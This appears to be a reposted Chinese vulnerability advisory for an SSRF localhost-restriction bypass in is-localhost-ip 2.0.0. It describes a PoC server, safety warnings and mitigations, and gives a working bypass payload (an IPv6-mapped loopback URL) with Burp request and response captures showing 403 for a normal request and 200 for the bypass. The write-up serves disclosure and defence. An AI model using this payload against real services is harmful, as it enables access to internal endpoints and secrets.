is-localhost-ip 2.0.0 SSRF限制绕过漏洞分析

本文详细分析了is-localhost-ip 2.0.0版本中的SSRF漏洞,通过多种IP编码方式绕过localhost限制,包含PoC代码、安全配置建议和复现步骤,帮助开发者理解并防御此类安全威胁。

is-localhost-ip 2.0.0 - 通过限制绕过实现SSRF

2025.11.13 信用:nu11secur1ty

风险:中等 本地:否 远程:是 CVE:N/A CWE:N/A

描述:

警告:此存储库包含演示SSRF/localhost规范化绕过的概念验证(PoC)。仅在隔离的非生产机器(本地VM、沙箱)上运行。不要暴露到互联网。

概述

此PoC演示了如何通过替代IP编码(十六进制、十进制、八进制、IPv6映射)绕过仅通过名称阻止"localhost"的简单服务器。包含的index.js是一个经过测试的、最小化的Express应用程序:

  • 提供/check-url?url=<URL>,检查is-localhost-ip(hostname)并在允许时获取URL
  • 提供/secret,返回生成的类似密钥的JSON对象(用于证明泄漏)
  • 包含测试工具以测试多种主机编码 — 测试默认禁用,必须通过ENABLE_SELF_TEST=1显式启用

包含的文件

  • PoC.js — PoC服务器(默认安全:除非启用,否则自测试禁用)
  • package.json — 最小化包清单

快速安全摘要(运行前阅读)

  • 不要在可访问生产网络、密钥存储或敏感服务的机器上运行
  • PoC在/secret生成合成API密钥。如果测试成功,生成的密钥将通过/check-url返回 — 请将其视为概念验证而非真实密钥,除非您将其连接到真实系统
  • 建议在没有网络访问权限的隔离VM中运行;或在使用RFC1918和环回出口阻止的临时容器中运行

要求

  • Node.js v18+(用于内置fetch
  • npm(随Node一起提供)

设置

1
2
3
# 创建目录并解压存档或克隆此仓库
# 在项目目录内:
npm install

此存档中的package.json将安装:

  • express
  • is-localhost-ip
  • ipaddr.js(由index.js中更安全的检查使用)

如何运行(安全默认)

默认情况下,服务器将运行自测试。要启动服务器:

1
node PoC.js

您应该看到:

1
2
Express服务器运行在 http://localhost:3005
自测试已禁用(设置ENABLE_SELF_TEST=1以启用)

然后在另一个终端中:

1
curl "http://localhost:3005/check-url?url=https://example.com"

预期:获取的内容预览(如果允许)

如何运行内部测试(仅在隔离环境中)

如果要在本地和隔离环境中运行绕过测试以复现PoC,请显式启用:

1
ENABLE_SELF_TEST=1 node PoC.js

该进程将针对本地/secret端点运行一组编码主机名测试并打印摘要。如果任何变体返回200且响应包含"apikey":,则该变体在您的环境中演示了绕过

如何禁用/secret端点(额外安全)

如果要完全删除敏感测试端点,请编辑PoC.js并删除或注释掉/secret路由

安全补丁摘要(此PoC为更安全所做的措施)

  • 使用DNS将主机名解析为IP地址,并检查所有地址与ipaddr.js范围(拒绝环回/私有/链路本地/保留)
  • 拒绝非http(s)方案、URL中的凭据和非允许端口
  • 获取上游资源时避免跟随重定向
  • 默认禁用自动自测试(选择加入)

负责任披露模板

如果您计划向维护者/供应商报告此行为,请使用原始分析中的模板或私下联系项目:

  • Node版本、操作系统、is-localhost-ip版本
  • 最小PoC命令和有效的确切有效负载
  • 显示返回的包含生成的apikey的JSON的日志

许可证

此PoC仅用于测试和防御目的。使用风险自负。无担保。


状态:中等

[+]有效负载 + Exploit Burp Suite:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 正常403禁止
GET /check-url?url=http://10.10.0.28:3005 HTTP/1.1
Host: 10.10.0.28:3005
Content-Len gth: 2
Content-Length: 2


HTTP/1.1 403 Forbidden
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 33
ETag: W/"21-6j4oICVQ6Z+6nx0WETDHqqeeklM"
Date: Sun, 09 Nov 2025 09:29:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"error":"localhost not allowed"}

-----------------------------------------------------------------

# 利用
GET /check-url?url=http://[::ffff:7f00:1]:3005 HTTP/1.1
Host: 10.10.0.28:3005
Content-Len gth: 2
Content-Length: 2


HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 306
ETag: W/"132-0QnJdvy6r/DgvnNvBs+i8eLbOLc"
Date: Sun, 09 Nov 2025 09:29:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Express服务器运行","usage":"GET /check-url?url=https://10.10.0.28:3005","examples":["GET /check-url?url=https://httpbin.org/json","GET /check-url?url=http://localhost:8080","GET /check-url?url=https://google.com"],"endpoints":["GET /","GET /check-url?url=<URL>","GET /secret"],"port":3005}

复现:

href

演示:

href

花费时间:

03:15:00

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计